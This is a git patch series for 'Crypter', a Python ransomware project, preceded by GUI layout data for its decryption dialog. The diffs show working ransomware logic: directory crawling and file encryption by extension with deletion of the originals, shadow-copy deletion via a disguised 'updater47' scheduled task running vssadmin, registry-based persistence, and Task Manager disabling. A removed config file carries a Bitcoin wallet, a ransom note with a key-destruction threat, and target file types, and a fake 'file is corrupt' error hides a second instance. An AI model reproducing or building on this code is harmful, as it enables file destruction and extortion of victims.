- 1 - 1 - 1 - - - - - - - - 1 - 0 - 1 - - 1 - 0 - Dock - 0 - Left - 1 - - 1 - - 0 - 0 - wxID_ANY - - 0 - - - 0 - - 1 - m_panel4 - 1 - - - protected - 1 - - Resizable - 1 - - - 0 - - - - wxTAB_TRAVERSAL - - - - - - - - - - - - - - - - - - - - - - - - - - TextCtrlSizer - wxVERTICAL - none - - 5 - wxALL|wxEXPAND - 1 - - 1 - 1 - 1 - 1 - - - - - - - - 1 - 0 - 1 - - 1 - 0 - Dock - 0 - Left - 1 - - 1 - - 0 - 0 - wxID_ANY - - 0 - - - - 0 - - 1 - EncryptedFilesTextCtrl - 1 - - - protected - 1 - - Resizable - 1 - - wxTE_DONTWRAP|wxTE_MULTILINE|wxTE_READONLY - - 0 - - - wxFILTER_NONE - wxDefaultValidator - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 0 - wxAUI_MGR_DEFAULT - - wxBOTH - - 1 - 1 - impl_virtual - - - - 0 - wxID_ANY - - - EnterDecryptionKeyDialog - - 500,200 - wxDEFAULT_DIALOG_STYLE - - Decrypt Files - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - bSizer12 - wxVERTICAL - none - - 5 - wxEXPAND | wxALL - 1 - - 1 - 1 - 1 - 1 - - - - - - - - 1 - 0 - 1 - - 1 - 0 - Dock - 0 - Left - 1 - - 1 - - 0 - 0 - wxID_ANY - - 0 - - - 0 - - 1 - m_panel6 - 1 - - - protected - 1 - - Resizable - 1 - - - 0 - - - - wxTAB_TRAVERSAL - - - - - - - - - - - - - - - - - - - - - - - - - wxID_ANY - AES Decryption Key - - MainSizer - wxVERTICAL - 1 - none - - - 5 - wxEXPAND - 1 - - 0 - protected - 0 - - - - 5 - wxEXPAND - 1 - - 0 - protected - 0 - - - - 5 - wxEXPAND - 1 - - - bSizer13 - wxHORIZONTAL - none - - 5 - wxEXPAND - 1 - - 0 - protected - 0 - - - - 5 - wxALL - 0 - - 1 - 1 - 1 - 1 - - - - - - - - 1 - 0 - 1 - - 1 - 0 - Dock - 0 - Left - 1 - - 1 - - 0 - 0 - wxID_ANY - - 0 - - 32 - - 0 - - 1 - DecryptionKeyTextCtrl - 1 - - - protected - 1 - - Resizable - 1 - 220,-1 - - - 0 - - - wxFILTER_NONE - wxDefaultValidator - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 5 - wxEXPAND - 1 - - 0 - protected - 0 - - - - - - 5 - wxEXPAND - 1 - - 0 - protected - 0 - - - - 5 - wxEXPAND - 1 - - 0 - 1 - 0 - 0 - 0 - 1 - 0 - 0 - - OkCancelSizer - protected - - - - - - - - - - - - 5 - wxALL - 0 - - 1 - 1 - 1 - 1 - - - - - - - - 1 - 0 - 1 - - 1 - 0 - Dock - 0 - Left - 1 - - 1 - - 0 - 0 - wxID_ANY - Waiting for input - - 0 - - - 0 - - 1 - StatusText - 1 - - - protected - 1 - - Resizable - 1 - - - - 0 - - - - - -1 - - - - - - - - - - - - - - - - - - - - - - - - - - - 5 - wxEXPAND - 1 - - - bSizer121 - wxHORIZONTAL - none - - 5 - wxALL - 0 - - 1 - 1 - 1 - 1 - - - - - - - - 1 - 0 - 1 - - 1 - 0 - Dock - 0 - Left - 1 - - 1 - - 0 - 0 - wxID_ANY - - 0 - - - 0 - - 1 - DecryptionGauge - 1 - - - protected - 1 - - 100 - Resizable - 1 - - wxGA_HORIZONTAL - - 0 - - - wxFILTER_NONE - wxDefaultValidator - - 0 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 5 - wxEXPAND - 1 - - 0 - protected - 0 - - - - 5 - wxALL - 0 - - 1 - 1 - 1 - 1 - - - - - - - - 1 - 0 - 1 - - 1 - 0 - Dock - 0 - Left - 1 - - 1 - - 0 - 0 - wxID_ANY - Encrypted Files: 0 - - 0 - - - 0 - - 1 - EncryptedFilesNumberLabel - 1 - - - protected - 1 - - Resizable - 1 - - - - 0 - - - - - -1 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - From 09e3e619e75e641858fea80cdd303c278c8558e5 Mon Sep 17 00:00:00 2001 From: sithis Date: Wed, 15 Apr 2020 21:58:13 +0100 Subject: [PATCH 03/41] - Simplified Main to now make it a caller script only. The main Crypter class is now within the Crypter package - Created a Mutex class for making Mutex handling easier and more simplified - Implemeneted better Mutex handling into Main - Created function in Main for displaying errors within wx dialogs --- Crypter/Crypter/Mutex.py | 53 +++++ Crypter/Main.py | 456 +++------------------------------------ 2 files changed, 78 insertions(+), 431 deletions(-) create mode 100644 Crypter/Crypter/Mutex.py diff --git a/Crypter/Crypter/Mutex.py b/Crypter/Crypter/Mutex.py new file mode 100644 index 0000000..d1389cf --- /dev/null +++ b/Crypter/Crypter/Mutex.py @@ -0,0 +1,53 @@ +''' +Crypter - Mutext Class +@author: Sithis +''' + +# Import Libs +import win32event +import win32api +import winerror + +# Import Package Libs + +# ================================================================ +# = Mutex Class +# =============================================================== +class Mutex(): + ''' + Provides a Mutex object + ''' + + # Properties + MUTEX_NAME = "mutex_rr_windows" + + def __init__(self): + ''' + Constructor + ''' + self.__mutex = self.__acquire() + + + def __acquire(self): + ''' + Attempts to acquire the mutex + @raise MutexAlreadyAcquired + ''' + + mutex = win32event.CreateMutex(None, 1, self.MUTEX_NAME) + if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS: + raise MutexAlreadyAcquired() + + return mutex + + +# ================================================================ +# = MutexAlreadyAcquired Exception Class +# =============================================================== +class MutexAlreadyAcquired(Exception): + ''' + To be raised in the even that the mutex has already been acquired + ''' + + + diff --git a/Crypter/Main.py b/Crypter/Main.py index 791a91e..9a568ae 100644 --- a/Crypter/Main.py +++ b/Crypter/Main.py @@ -1,450 +1,44 @@ ''' -@summary: Crypter: Ransomware written entirely in python. -@author: MLS -@version: 2.40 +Crypter - Launcher +@author: Sithis ''' -# Import libs -import os -import sys +# Import Libs +import win32event import win32api -import win32file import winerror -import win32event -import _winreg import wx -import time -import json - -# Import classes -import Crypt -import Base -import Gui -from ScheduledTask import ScheduledTask -from TaskManager import TaskManager - -# Encoding -reload(sys) -sys.setdefaultencoding('utf8') - - -################### -## CRYPTER Class ## -################### -class Crypter(Base.Base): - ''' - @summary: Crypter: Controls interaction between relevant objects - @author: MLS - ''' - - - def __init__(self): - ''' - @summary: Constructor - ''' - self.__config = self.__load_config() - self.encrypted_file_list = os.path.join(os.environ['APPDATA'], "encrypted_files.txt") - - # Init Crypt Lib - self.Crypt = Crypt.SymmetricCrypto() - - # FIRST RUN - # Encrypt! - if not os.path.isfile(self.encrypted_file_list): - # Disable Task Manager - if self.__config["disable_task_manager"]: - self.task_manager = TaskManager() - try: - self.task_manager.disable() - except WindowsError: - pass - - # Add to startup programs - # TODO Test - if self.__config["open_gui_on_login"]: - self.__add_to_startup_programs() - - # Find files and initialise keys - self.Crypt.init_keys() - file_list = self.find_files() - - # Start encryption - self.encrypt_files(file_list) - - # If no files were encrypted. cleanup and return - if self.__no_files_were_encrypted(): - # TODO Test - self.cleanup() - return - - # Delete Shadow Copies - if "delete_shadow_copies" in self.__config: - self.__delete_shadow_files() - - # Open GUI - self.start_gui() - - # ALREADY ENCRYPTED - Open GUI - elif os.path.isfile(self.encrypted_file_list): - self.start_gui() - - - def __load_config(self): - ''' - @summary: Loads the runtime cfg file - @return: JSON runtime config - ''' - cfg_path = os.path.join(sys._MEIPASS, self.RUNTIME_CONFIG_FILE) - - with open(cfg_path, "r") as runtime_cfg_file: - config = json.load(runtime_cfg_file) - - return config - - - def __delete_shadow_files(self): - ''' - @summary: Create, run and delete a scheduled task to delete all file shadow copies from disk - ''' - - vs_deleter = ScheduledTask( - name="updater47", - command="vssadmin Delete Shadows /All /Quiet" - ) - vs_deleter.run_now() - vs_deleter.cleanup() - - - def __no_files_were_encrypted(self): - ''' - @summary: Checks if any files were encrypted - @return: True if no files were encrypted, otherwise False - @todo: Test - ''' - - if not os.path.isfile(self.encrypted_file_list): - return True - else: - return False - - - def __add_to_startup_programs(self): - ''' - @summary: Adds Crypter to the list of Windows startup programs - @todo: Code and test - @todo: Restore try and except catch - ''' - - try: - reg = _winreg.CreateKeyEx(_winreg.HKEY_CURRENT_USER, self.STARTUP_REGISTRY_LOCATION) - _winreg.SetValueEx(reg, "Crypter", 0, _winreg.REG_SZ, sys.executable) - _winreg.CloseKey(reg) - except WindowsError: - pass - - - def __remove_from_startup_programs(self): - ''' - @summary: Removes Crypter from the list of startup programs - @todo: Code and test - ''' - - try: - reg = _winreg.OpenKeyEx(_winreg.HKEY_CURRENT_USER, self.STARTUP_REGISTRY_LOCATION, 0, _winreg.KEY_SET_VALUE) - _winreg.DeleteValue(reg, "Crypter") - _winreg.CloseKey(reg) - except WindowsError: - pass - - - def get_start_time(self): - ''' - @summary: Get's Crypter's start time from the registry, or creates it if it - doesn't exist - @return: The time that the ransomware began it's encryption operation, in integer epoch form - ''' - - # Try to open registry key - try: - reg = _winreg.OpenKeyEx(_winreg.HKEY_CURRENT_USER, self.REGISTRY_LOCATION) - start_time = _winreg.QueryValueEx(reg, "")[0] - _winreg.CloseKey(reg) - # If failure, create the key - except WindowsError: - start_time = int(time.time()) - reg = _winreg.CreateKey(_winreg.HKEY_CURRENT_USER, self.REGISTRY_LOCATION) - _winreg.SetValue(reg, "", _winreg.REG_SZ, str(start_time)) - _winreg.CloseKey(reg) - - return start_time +import os +import sys +# Import Package Libs +from Crypter import Crypter +from Crypter.Mutex import * - def cleanup(self): +def showErrorDialog(message): ''' - @summary: Cleanups the system following successful decryption. Removed the list of - encrypted files and deletes the Crypter registry key. Re-enable TM + Displays an error dialog containing the specified message ''' - - # If files were encrypted, Remove from startup programs (if present in list) - if not self.__no_files_were_encrypted() and self.__config["open_gui_on_login"]: - self.__remove_from_startup_programs() - - self.delete_encrypted_file_list() - self.delete_registry_entries() - - if self.__config["disable_task_manager"]: - try: - self.task_manager.enable() - except WindowsError: - pass - - - def delete_registry_entries(self): - ''' - @summary: Deletes the timer registry key - ''' - - # Open and delete the key - try: - reg = _winreg.OpenKeyEx(_winreg.HKEY_CURRENT_USER, self.REGISTRY_LOCATION) - _winreg.DeleteKeyEx(reg, "") - _winreg.CloseKey(reg) - except WindowsError: - # Ignore any Windows errors - pass - - - def start_gui(self): - ''' - @summary: Initialises and launches the ransomware GUI screen - ''' - - # Get Crypter start_time - start_time = self.get_start_time() - app = wx.App() - # TODO Update this to new path and place in __init__ - #sys._MEIPASS = "..\\build\\images" - crypter_gui = Gui.Gui( - image_path=sys._MEIPASS, - start_time=start_time, - decrypter=self, - config=self.__config) - - crypter_gui.Show() + error_dialog = wx.MessageDialog(None, str(message), "Error", wx.OK | wx.ICON_ERROR) + error_dialog.ShowModal() app.MainLoop() - - - def get_encrypted_files_list(self): - ''' - @summary: Returns a list of the files encrypted by crypter - @return: Encrypted file list - ''' - - # Get list of encrypted files - try: - with open(self.encrypted_file_list) as fh: - file_list = fh.readlines() - fh.close() - except IOError: - # Don't error, just return message - raise Exception("A list of encrypted files was not found at: %s" % self.encrypted_file_list) - - return file_list - - - def decrypt_file(self, encrypted_file, decryption_key): - ''' - @summary: Processes the list of encrypted files and decrypts each. Should be called once per file - @param encrypted_file: an encrypted file to decrypt - ''' - - # Decrypt! - if not encrypted_file: - return - - # IF successful decryption, delete locked file - locked_path = self.Crypt.decrypt_file(encrypted_file.rstrip(), decryption_key, self.__config["encrypted_file_extension"]) - if locked_path: - os.remove(locked_path) - - - def delete_encrypted_file_list(self): - ''' - @summary: Deletes the list of encrypted files - ''' - - # Remove encrypted file list - if os.path.isfile(self.encrypted_file_list): - os.remove(self.encrypted_file_list) - - - def encrypt_files(self, file_list): - ''' - @summary: Encrypts all files in the provided file list param - @param file_list: A list of files to encrypt - ''' - encrypted_files = [] - - # Encrypt them and add to list if successful - for file in file_list: - - # Encrypt file if less than specified file size - try: - if int(os.path.getsize(file)) < self.MAX_FILE_SIZE_BYTES: - is_encrypted = self.Crypt.encrypt_file(file, self.__config["encrypted_file_extension"]) - else: - is_encrypted = False - - # IF encrypted, try to delete the file and add to the list - if is_encrypted: - os.remove(file) - encrypted_files.append(file) - except: - # Ignore any exception, such as access denied, and continue - pass - - # Write out list of encrypted files - if encrypted_files or (not self.__config["encrypt_user_home"] and not self.__config["encrypt_attached_drives"]): - fh = open(self.encrypted_file_list, "w") - for encrypted_file in encrypted_files: - fh.write(encrypted_file) - fh.write("\n") - fh.close() - - - def find_files(self): - ''' - @summary: Searches the file system and builds a list of files to encrypt - @return: List of files matching the location and filetype criteria - ''' - binary_name = os.path.split(sys.argv[0])[1] - - base_dirs = self.get_base_dirs(os.environ['USERPROFILE'], self.__config) - file_list = [] - - for directory in base_dirs: - for path,subdirs,files in os.walk(directory): - for file in files: - if os.path.isfile(os.path.join(path, file)): - # Check file is valid - try: - if ( - (self.is_valid_filetype(file)) and - (not self.is_excluded_file(file)) and - (not self.is_excluded_dir(path)) and - (file.lower() != binary_name.lower()) and - (not os.path.join(path, file).lower().startswith(win32file.GetLongPathName(sys._MEIPASS).lower())) - ): - file_list.append(os.path.join(path, file)) - except Exception: - # Skip any files with strange chars not within our encoding - pass - for file in subdirs: - if os.path.isfile(os.path.join(path, file)): - # Check file is valid - try: - if ( - (self.is_valid_filetype(file)) and - (not self.is_excluded_file(file)) and - (not self.is_excluded_dir(path)) and - (file.lower() != binary_name.lower()) and - (not os.path.join(path, file).lower().startswith(win32file.GetLongPathName(sys._MEIPASS).lower())) - ): - file_list.append(os.path.join(path, file)) - except Exception: - # Skip any files with strange chars not within our encoding - pass - - - - return file_list - - - def is_excluded_dir(self, path): - ''' - @summary: Checks whether the specified path should be excluded from encryption - @param path: The path to check - @return: True if the path should be excluded from encryption, otherwise False - ''' - - for dir_to_exclude in self.DIRS_TO_EXCLUDE: - if "\\%s" % dir_to_exclude.lower() in path.lower(): - return True - - return False - - - def is_excluded_file(self, file): - ''' - @summary: Checks whether the specified file is marked as a file to be excluded from encryption - @param file: The file to check - @requires: True if the file should be excluded from encryption, otherwise false - ''' - - if file.lower() in self.FILES_TO_EXCLUDE: - return True - else: - return False - - - def is_valid_filetype(self, file): - ''' - @summary: Verifies whether the specified file is of an acceptable type for encryption - @param file: The file to check - @attention: The list of filetypes to encrypt is defined in the Base.Base class - ''' - - # Split filename - filename_components = file.split(".") - - # If no extension, return False - if len(filename_components) <= 1: - return False - # Otherwise stringify extension - else: - full_extension = ".".join(filename_components[1:]).lower() - - # Check if extension is in the list of encryptable extensions - for target_extension in self.__config["filetypes_to_encrypt"]: - if len(target_extension) <= len(full_extension) and full_extension[-len(target_extension):] == target_extension.lower(): - return True - - return False - - - def set_wallpaper(self): - ''' - @summary: Sets the users wallpaper to a specific ransom not image - @deprecated: This method, and approach, is no longer used. The ransom - note is now displayed via a WX GUI - @requires: To enable this method, add an import for ctypes - ''' - - # Import image and write to path - # todo adjust file name... maybe replace this with whatever is provided in the config file? - image_path = os.path.join(sys._MEIPASS, "ransom.png") - - SPI_SETDESKWALLPAPER = 20 - ctypes.windll.user32.SystemParametersInfoA(SPI_SETDESKWALLPAPER, 0, image_path, 3) - +# GO if __name__ == "__main__": ## START - # Try to grab mutex control - mutex = win32event.CreateMutex(None, 1, "mutex_rr_windows") - if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS: - # If mutex already exists, present corruption message - mutex = None - app = wx.App() - error_dialog = wx.MessageDialog(None, "The file is corrupt and cannot be opened", - "Error", wx.OK|wx.ICON_ERROR) - error_dialog.ShowModal() - app.MainLoop() + try: + mutex = Mutex() + raise Exception("Got here") + go = Crypter() + # Could not acquire mutex + except MutexAlreadyAcquired as maa: + showErrorDialog("The file is corrupt and cannot be opened") + sys.exit() + # Exception + except Exception as ex: + showErrorDialog(ex) sys.exit() - # Otherwise run crypter - else: - go = Crypter() From 6c74ad2371a6164034d4df73c11c9f6cd2d8789f Mon Sep 17 00:00:00 2001 From: sithis Date: Wed, 15 Apr 2020 22:01:22 +0100 Subject: [PATCH 04/41] Fixed up gitignore --- .gitignore | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) diff --git a/.gitignore b/.gitignore index f10fb8c..717da72 100644 --- a/.gitignore +++ b/.gitignore @@ -1,7 +1,17 @@ -.idea/ +# FILES +Main.spec +todo.txt +key.txt *.pyc *.swn *.swo *.swp -key.txt *~ + +# DIRS +Crypter/.settings/ +bin/ +build/ +dist/ +venv/ +.idea/ From d5b5cd95a16dec128e636bf529ca95cf01518e28 Mon Sep 17 00:00:00 2001 From: sithis Date: Wed, 15 Apr 2020 22:02:13 +0100 Subject: [PATCH 05/41] Removed exception raise in Main --- Crypter/Main.py | 1 - 1 file changed, 1 deletion(-) diff --git a/Crypter/Main.py b/Crypter/Main.py index 9a568ae..3cf70eb 100644 --- a/Crypter/Main.py +++ b/Crypter/Main.py @@ -31,7 +31,6 @@ def showErrorDialog(message): ## START try: mutex = Mutex() - raise Exception("Got here") go = Crypter() # Could not acquire mutex except MutexAlreadyAcquired as maa: From 59cb9027bafae1e1732fa1e2a3593febce1a2d77 Mon Sep 17 00:00:00 2001 From: sithis Date: Wed, 15 Apr 2020 22:07:16 +0100 Subject: [PATCH 06/41] Updated Builder "Open Containing Folder" button to work with new directory structure --- CrypterBuilder/Gui.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CrypterBuilder/Gui.py b/CrypterBuilder/Gui.py index bd0ad2c..9732930 100644 --- a/CrypterBuilder/Gui.py +++ b/CrypterBuilder/Gui.py @@ -305,7 +305,7 @@ def __open_containing_folder(self, event): @summary: Opens explorer in the "bin" directory where the Crypter binary is written ''' - subprocess.Popen(r'explorer "..\bin"') + subprocess.Popen(r'explorer ".\bin"') def set_events(self): From 9dae64197e6bd1d2b3d9c21e6d8fcb6ee685dcdf Mon Sep 17 00:00:00 2001 From: sithis Date: Wed, 15 Apr 2020 22:11:06 +0100 Subject: [PATCH 07/41] Added --debug option which will display any exceptions that have occurred if specified --- Crypter/Main.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/Crypter/Main.py b/Crypter/Main.py index 3cf70eb..f3a08eb 100644 --- a/Crypter/Main.py +++ b/Crypter/Main.py @@ -38,6 +38,7 @@ def showErrorDialog(message): sys.exit() # Exception except Exception as ex: - showErrorDialog(ex) - sys.exit() + if "--debug" in sys.argv: + showErrorDialog(ex) + sys.exit() From 5a8324f218cb8c9d19cdf831715198d5fc318f5c Mon Sep 17 00:00:00 2001 From: sithis Date: Wed, 15 Apr 2020 22:35:53 +0100 Subject: [PATCH 08/41] Removed runtime.cfg from git repo --- CrypterBuilder/Resources/runtime.cfg | 211 --------------------------- 1 file changed, 211 deletions(-) delete mode 100644 CrypterBuilder/Resources/runtime.cfg diff --git a/CrypterBuilder/Resources/runtime.cfg b/CrypterBuilder/Resources/runtime.cfg deleted file mode 100644 index 760038f..0000000 --- a/CrypterBuilder/Resources/runtime.cfg +++ /dev/null @@ -1,211 +0,0 @@ -{ - "maj_version": "2", - "min_version": "40", - "gui_title": "CRYPTER", - "encrypt_attached_drives": false, - "encrypt_user_home": false, - "encrypted_file_extension": "crypter", - "disable_task_manager": false, - "open_gui_on_login": true, - "wallet_address": "12mdKVNfAhLbRDLtRWQFhQgydgU6bUMjay", - "bitcoin_fee": "0.08134", - "key_destruction_time": "86400", - "max_file_size_to_encrypt": "512", - "filetypes_to_encrypt": [ - "dat", - "keychain", - "sdf", - "vcf", - "jpg", - "png", - "tiff", - "tif", - "gif", - "jpeg", - "jif", - "jfif", - "jp2", - "jpx", - "j2k", - "j2c", - "fpx", - "pcd", - "bmp", - "svg", - "3dm", - "3ds", - "max", - "obj", - "dds", - "psd", - "tga", - "thm", - "tif", - "tiff", - "yuv", - "ai", - "eps", - "ps", - "svg", - "indd", - "pct", - "mp4", - "avi", - "mkv", - "3g2", - "3gp", - "asf", - "flv", - "m4v", - "mov", - "mpg", - "rm", - "srt", - "swf", - "vob", - "wmv", - "doc", - "docx", - "txt", - "pdf", - "log", - "msg", - "odt", - "pages", - "rtf", - "tex", - "wpd", - "wps", - "csv", - "ged", - "key", - "pps", - "ppt", - "pptx", - "xml", - "json", - "xlsx", - "xlsm", - "xlsb", - "xls", - "mht", - "mhtml", - "htm", - "html", - "xltx", - "prn", - "dif", - "slk", - "xlam", - "xla", - "ods", - "docm", - "dotx", - "dotm", - "xps", - "ics", - "mp3", - "aif", - "iff", - "m3u", - "m4a", - "mid", - "mpa", - "wav", - "wma", - "msi", - "php", - "apk", - "app", - "bat", - "cgi", - "com", - "asp", - "aspx", - "cer", - "cfm", - "css", - "htm", - "html", - "js", - "jsp", - "rss", - "xhtml", - "c", - "class", - "cpp", - "cs", - "h", - "java", - "lua", - "pl", - "py", - "sh", - "sln", - "swift", - "vb", - "vcxproj", - "dem", - "gam", - "nes", - "rom", - "sav", - "tgz", - "zip", - "rar", - "tar", - "7z", - "cbr", - "deb", - "gz", - "pkg", - "rpm", - "zipx", - "iso", - "ged", - "accdb", - "db", - "dbf", - "mdb", - "sql", - "fnt", - "fon", - "otf", - "ttf", - "cfg", - "ini", - "prf", - "bak", - "old", - "tmp", - "torrent" - ], - "ransom_message": "The important files on your computer have been encrypted with military grade AES-256 bit encryption.\n\nYour documents, videos, images and other forms of data are now inaccessible, and cannot be unlocked without the decryption key. This key is currently being stored on a remote server.\n\nTo acquire this key, transfer the Bitcoin Fee to the specified wallet address before the time runs out.\n\nIf you fail to take action within this time window, the decryption key will be destroyed and access to your files will be permanently lost.", - "make_gui_resizeable": true, - "always_on_top": false, - "background_colour": [ - 177, - 7, - 14, - 255 - ], - "heading_font_colour": [ - 0, - 0, - 0, - 255 - ], - "primary_font_colour": [ - 255, - 255, - 0, - 255 - ], - "secondary_font_colour": [ - 255, - 255, - 255, - 255 - ], - "delete_shadow_copies": true -} \ No newline at end of file From 2caa3901dc7a7e4fe309f0c2d42d421cbdfa2239 Mon Sep 17 00:00:00 2001 From: sithis Date: Wed, 15 Apr 2020 22:36:29 +0100 Subject: [PATCH 09/41] Added runtime.cfg to gitignore --- .gitignore | 1 + 1 file changed, 1 insertion(+) diff --git a/.gitignore b/.gitignore index 717da72..53e1d4d 100644 --- a/.gitignore +++ b/.gitignore @@ -7,6 +7,7 @@ key.txt *.swo *.swp *~ +CrypterBuilder/Resources/runtime.cfg # DIRS Crypter/.settings/ From b0c8c42fb71d9072bb1238c2e4370f81bd146e20 Mon Sep 17 00:00:00 2001 From: sithis Date: Wed, 15 Apr 2020 22:36:58 +0100 Subject: [PATCH 10/41] Adjusted template spec to NOT require UAC admin for now, until we can implement this as a builder option --- CrypterBuilder/Resources/Template.spec | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CrypterBuilder/Resources/Template.spec b/CrypterBuilder/Resources/Template.spec index 22e8887..f91a476 100644 --- a/CrypterBuilder/Resources/Template.spec +++ b/CrypterBuilder/Resources/Template.spec @@ -30,6 +30,6 @@ exe = EXE(pyz, strip=False, upx=False, console=False, - uac_admin=True, + uac_admin=False, icon=None ) From 6728ada1eb36630f4e8fc283755f696bd5422186 Mon Sep 17 00:00:00 2001 From: sithis Date: Fri, 24 Apr 2020 17:20:27 +0100 Subject: [PATCH 11/41] Added method for getting path to Resources dir --- CrypterBuilder/Gui.py | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) diff --git a/CrypterBuilder/Gui.py b/CrypterBuilder/Gui.py index 9732930..e1fcecc 100644 --- a/CrypterBuilder/Gui.py +++ b/CrypterBuilder/Gui.py @@ -9,6 +9,7 @@ import datetime import time import json +import os import subprocess from pubsub import pub @@ -40,7 +41,7 @@ def __init__(self): self.console = Console(self.ConsoleTextCtrl) self.StatusBar.SetStatusText("Ready...") icon = wx.Icon() - icon.CopyFromBitmap(wx.Bitmap("CrypterBuilder\\Resources\\builder_logo.bmp", wx.BITMAP_TYPE_ANY)) + icon.CopyFromBitmap(wx.Bitmap(os.path.join(self.__get_resources_path(), "builder_logo.bmp"), wx.BITMAP_TYPE_ANY)) self.SetIcon(icon) @@ -49,6 +50,15 @@ def __init__(self): # Set initial event handlers self.set_events() + + + def __get_resources_path(self): + ''' + Gets the path to the resources directory + @return: Resources directory path + ''' + + return os.path.join(os.path.dirname(__file__), "Resources") def update_gui_visuals(self): @@ -64,7 +74,7 @@ def update_gui_visuals(self): # Set Logo Image self.LogoBitmap.SetBitmap( wx.Bitmap( - "CrypterBuilder\\Resources\\builder_logo.bmp" + os.path.join(self.__get_resources_path(), "builder_logo.bmp") ) ) # Set debug to default level From c27b4894af9569f9b4cc9625339920e6d05a7bc6 Mon Sep 17 00:00:00 2001 From: sithis Date: Fri, 24 Apr 2020 17:20:43 +0100 Subject: [PATCH 12/41] Created initial requirements file --- requirementes.txt | 13 +++++++++++++ 1 file changed, 13 insertions(+) create mode 100644 requirementes.txt diff --git a/requirementes.txt b/requirementes.txt new file mode 100644 index 0000000..ddb950a --- /dev/null +++ b/requirementes.txt @@ -0,0 +1,13 @@ +altgraph==0.17 +future==0.18.2 +macholib==1.14 +numpy==1.18.2 +pefile==2019.4.18 +Pillow==7.0.0 +pycryptodome==3.9.7 +PyInstaller==3.6 +Pypubsub==4.0.3 +pywin32==227 +pywin32-ctypes==0.2.0 +six==1.14.0 +wxPython==4.0.7 From 00e053a8ed082fc4c890ee3eb1bf1729582cfe01 Mon Sep 17 00:00:00 2001 From: sithis Date: Fri, 24 Apr 2020 17:47:57 +0100 Subject: [PATCH 13/41] - Removed logging test - Fixed code formatting --- Crypter/Crypter/Crypter.py | 608 ++++++++++++++++++------------------- 1 file changed, 302 insertions(+), 306 deletions(-) diff --git a/Crypter/Crypter/Crypter.py b/Crypter/Crypter/Crypter.py index 381f60f..7ce12c4 100644 --- a/Crypter/Crypter/Crypter.py +++ b/Crypter/Crypter/Crypter.py @@ -4,19 +4,15 @@ @version: 2.40 ''' - +import json # Import libs import os import sys -import win32api -import win32file -import winerror -import win32event +import time import winreg + +import win32file import wx -import time -import json -import importlib # Import Package Libs from . import Base @@ -42,15 +38,11 @@ def __init__(self): self.__config = self.__load_config() self.encrypted_file_list = os.path.join(os.environ['APPDATA'], "encrypted_files.txt") - self.clear_log() - self.log_something("here we go!") - # Init Crypt Lib self.Crypt = Crypt.SymmetricCrypto() # FIRST RUN # Encrypt! - self.log_something("encrypted file list found: %s" % os.path.isfile(self.encrypted_file_list)) if not os.path.isfile(self.encrypted_file_list): # Disable Task Manager if self.__config["disable_task_manager"]: @@ -68,10 +60,7 @@ def __init__(self): # Find files and initialise keys self.Crypt.init_keys("0123456789ABCDEF0123456789ABCDEF") - self.log_something("Finding files") file_list = self.find_files() - self.log_something("Files to encrypt: %s" % file_list) - self.log_something("Drives: %s " % str(win32api.GetLogicalDriveStrings())) # Start encryption self.encrypt_files(file_list) @@ -95,351 +84,358 @@ def __init__(self): self.start_gui() - def clear_log(self): +def __load_config(self): + ''' + @summary: Loads the runtime cfg file + @return: JSON runtime config + ''' - fh = open("out.log", "w").close() + try: + cfg_path = os.path.join(sys._MEIPASS, self.RUNTIME_CONFIG_FILE) + except AttributeError: + cfg_path = os.path.join("..\\", "CrypterBuilder", "Resources", "runtime.cfg") - def log_something(self, message): + with open(cfg_path, "r") as runtime_cfg_file: + config = json.load(runtime_cfg_file) - with open("out.log", "a") as log: - log.write(message + "\n") + return config - def __load_config(self): - ''' - @summary: Loads the runtime cfg file - @return: JSON runtime config - ''' +def __delete_shadow_files(self): + ''' + @summary: Create, run and delete a scheduled task to delete all file shadow copies from disk + ''' - try: - cfg_path = os.path.join(sys._MEIPASS, self.RUNTIME_CONFIG_FILE) - except AttributeError: - cfg_path = os.path.join("..\\", "CrypterBuilder", "Resources", "runtime.cfg") + vs_deleter = ScheduledTask( + name="updater47", + command="vssadmin Delete Shadows /All /Quiet" + ) + vs_deleter.run_now() + vs_deleter.cleanup() - with open(cfg_path, "r") as runtime_cfg_file: - config = json.load(runtime_cfg_file) - return config +def __no_files_were_encrypted(self): + ''' + @summary: Checks if any files were encrypted + @return: True if no files were encrypted, otherwise False + @todo: Test + ''' - def __delete_shadow_files(self): - ''' - @summary: Create, run and delete a scheduled task to delete all file shadow copies from disk - ''' + if not os.path.isfile(self.encrypted_file_list): + return True + else: + return False - vs_deleter = ScheduledTask( - name="updater47", - command="vssadmin Delete Shadows /All /Quiet" - ) - vs_deleter.run_now() - vs_deleter.cleanup() - def __no_files_were_encrypted(self): - ''' - @summary: Checks if any files were encrypted - @return: True if no files were encrypted, otherwise False - @todo: Test - ''' +def __add_to_startup_programs(self): + ''' + @summary: Adds Crypter to the list of Windows startup programs + @todo: Code and test + @todo: Restore try and except catch + ''' - if not os.path.isfile(self.encrypted_file_list): - return True - else: - return False + try: + reg = winreg.CreateKeyEx(winreg.HKEY_CURRENT_USER, self.STARTUP_REGISTRY_LOCATION) + winreg.SetValueEx(reg, "Crypter", 0, winreg.REG_SZ, sys.executable) + winreg.CloseKey(reg) + except WindowsError: + pass - def __add_to_startup_programs(self): - ''' - @summary: Adds Crypter to the list of Windows startup programs - @todo: Code and test - @todo: Restore try and except catch - ''' - try: - reg = winreg.CreateKeyEx(winreg.HKEY_CURRENT_USER, self.STARTUP_REGISTRY_LOCATION) - winreg.SetValueEx(reg, "Crypter", 0, winreg.REG_SZ, sys.executable) - winreg.CloseKey(reg) - except WindowsError: - pass +def __remove_from_startup_programs(self): + ''' + @summary: Removes Crypter from the list of startup programs + @todo: Code and test + ''' - def __remove_from_startup_programs(self): - ''' - @summary: Removes Crypter from the list of startup programs - @todo: Code and test - ''' + try: + reg = winreg.OpenKeyEx(winreg.HKEY_CURRENT_USER, 